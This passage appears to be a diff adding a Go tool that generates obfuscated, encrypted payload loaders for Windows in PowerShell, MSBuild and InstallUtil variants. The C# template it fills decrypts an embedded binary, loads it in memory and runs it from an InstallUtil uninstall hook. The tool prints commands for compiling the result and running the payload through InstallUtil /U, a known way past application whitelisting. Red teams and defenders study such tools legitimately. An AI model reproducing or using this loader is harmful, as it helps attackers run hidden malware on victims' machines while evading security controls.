+ string[] <%=obf args %> = new string[] { "" };
+ string <%=obf encodedBin %> = "{b64}";
+ int <%=obf binSize %> = {binSize};
+ byte[] <%=obf key %> = Encoding.UTF8.GetBytes("{key}");
+ byte[] <%=obf iv %> = Convert.FromBase64String("{b64IV}");
+ byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
+ using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>)))
+ {
+ <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
+ }
+ byte[] <%=obf final %> = <%=obf AesDecrypt %>(<%=obf bytesBin %>, <%=obf key %>, <%=obf iv %>);
+ Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
+ <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
+ }
+ catch (Exception) {}
+ base.Uninstall(savedState);
+ }
+ }
+}
+`
+ }
+
+ template = strings.ReplaceAll(template, "{key}", string(key))
+ template = strings.ReplaceAll(template, "{b64}", b64)
+ template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize))
+ if encryptionType == "aes" {
+ template = strings.ReplaceAll(template, "{b64IV}", b64IV)
+ }
+
+ obfuscated, err := obfuscate(template, obfuscationLength)
+ if err != nil {
+ return fmt.Errorf("[err] obfuscation failed: %v", err)
+ }
+
+ err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644)
+ if err != nil {
+ return fmt.Errorf("[err] failed to write output file: %v", err)
+ }
+
+ fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath)
+ fmt.Printf("[inf] compile with: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /platform:x64|x86 /out:%s.exe %s\n", assemblyName, outputFile)
+ fmt.Printf("[inf] uninstall to execute payload: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /U /logfile= /LogToConsole=false %s.exe\n", assemblyName)
+ return nil
+}
+
+func main() {
+ filePath := flag.String("f", "", "input file path")
+ outputType := flag.String("t", "powershell", "loader type: powershell|msbuild|installutil")
+ encryptionType := flag.String("e", "rc4", "encryption type: rc4|aes")
+ obfuscationLength := flag.Int("obf-len", 8, "length of obfuscated strings")
+ keyLength := flag.Int("key-len", 32, "length of encryption key")
+ dotnetArch := flag.String("dotnet-architecture", "x64", ".net architecture for msbuild: x86|x64")
+ flag.Parse()
+
+ if *filePath == "" {
+ fmt.Println("[err] -f/--file is required")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *outputType != "powershell" && *outputType != "msbuild" && *outputType != "installutil" {
+ fmt.Println("[err] -t/--type must be 'powershell', 'msbuild', or 'installutil'")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *encryptionType != "rc4" && *encryptionType != "aes" {
+ fmt.Println("[err] -e/--encryption must be 'rc4' or 'aes'")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *obfuscationLength <= 0 {
+ fmt.Println("[err] -obf-len must be a positive integer")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *keyLength <= 0 || (*encryptionType == "aes" && *keyLength != 32) {
+ fmt.Println("[err] -key-len must be a positive integer, 32 for AES")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *outputType == "msbuild" && *dotnetArch != "x86" && *dotnetArch != "x64" {
+ fmt.Println("[err] --dotnet-architecture must be 'x86' or 'x64'")
+ flag.Usage()
+ os.Exit(1)
+ }
+
+ mathRand.Seed(time.Now().UnixNano())
+
+ var err error
+ if *outputType == "powershell" {
+ err = generatePowerShellLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType)
+ } else if *outputType == "msbuild" {
+ err = generateMSBuildLdr(*filePath, *obfuscationLength, *keyLength, *dotnetArch, *encryptionType)
+ } else {
+ err = generateInstallUtilLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType)
+ }
+ if err != nil {
+ fmt.Printf("[err] %v\n", err)
+ os.Exit(1)
+ }
+}